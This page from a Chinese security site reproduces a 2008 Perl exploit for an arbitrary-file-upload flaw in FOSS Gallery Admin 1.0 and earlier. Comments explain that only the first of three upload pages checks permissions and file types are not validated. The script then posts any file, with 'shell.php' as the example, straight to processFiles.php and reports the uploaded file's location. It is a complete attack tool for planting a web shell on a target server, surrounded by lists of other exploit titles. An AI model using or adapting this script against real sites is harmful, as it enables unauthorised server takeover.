首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FOSS Gallery Admin <= 1.0 Remote Arbitrary Upload Exploit
来源:www.enye-sec.org 作者:Pepelux 发布时间:2008-10-06  
#! /usr/bin/perl

# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# FOSS Gallery Admin Version <= 1.0 / Remote Arbitrary Upload Vulnerability
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Program: FOSS Gallery Admin Version
# Version: <= 1.0
# File affected: processFiles.php
# Download: http://sourceforge.net/projects/fossgallery/
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
#
# Upload images is only allowed to the admin but the process to upload has
# 3 steps (with 3 pages). only the first page check the user permissions.
#
# STEPS:
# uploadForm1.php -> ask for the number of files you wish to upload
# uploadForm2.php -> ask for the files to upload
# processFiles.php -> process the file(s)
#
# Also image format is not validated and you can upload any file.
#
# You can POST directly in the 3th step (processFiles.php):
# - uploadNeed = 1 ... we only need to upload 1 file
# - uploadFile0 = shell.php ... the file to upload



use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Headers;

my ($host, $file) = @ARGV ;



unless($ARGV[1]){

print "\nUsage: perl $0 <host> <file_to_upload>\n";

print "\tex: perl $0 http://localhost shell.php\n\n";

exit 1;

}


$host = 'http://'.$host if ($host !~ /^http:/);

$host .= "/" if ($host !~ /\/\$/);


my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");

$ua->timeout(10);

my $request = HTTP::Request->new();
my $response;
my $header;
my $url = $host."processFiles.php";

$response = $ua->request(POST $url, Content_Type => 'form-data',
Content => [ uploadNeed => "1", uploadFile0 => [$file]]);

$content = $response->content;



if ($content =~ /uploaded sucessful/) { print "\nExploited sucessfully. File located in:\n".$host.$file."\n"; }
else { print "\nExploit failed\n"; }


exit;

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·mIRC 6.34 Remote Buffer Overfl
·MS Windows Vista Access Violat
·AdaptCMS Lite <= 1.3 Blind SQL
·AyeView 2.20 (invalid bitmap h
·Serv-U 7.2.0.1 Remote FTP File
·FastStone Image Viewer 3.6 (ma
·Serv-U 7.2.0.1 (stou con:1) De
·FOSS Gallery Public <= 1.0 Arb
·IP Reg <= 0.4 Remote Blind SQL
·Galerie 3.2 (pic) WBB Lite Add
·geccBBlite 2.0 (leggi.php id)
·OpenX 2.6 (ac.php bannerid) Re
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved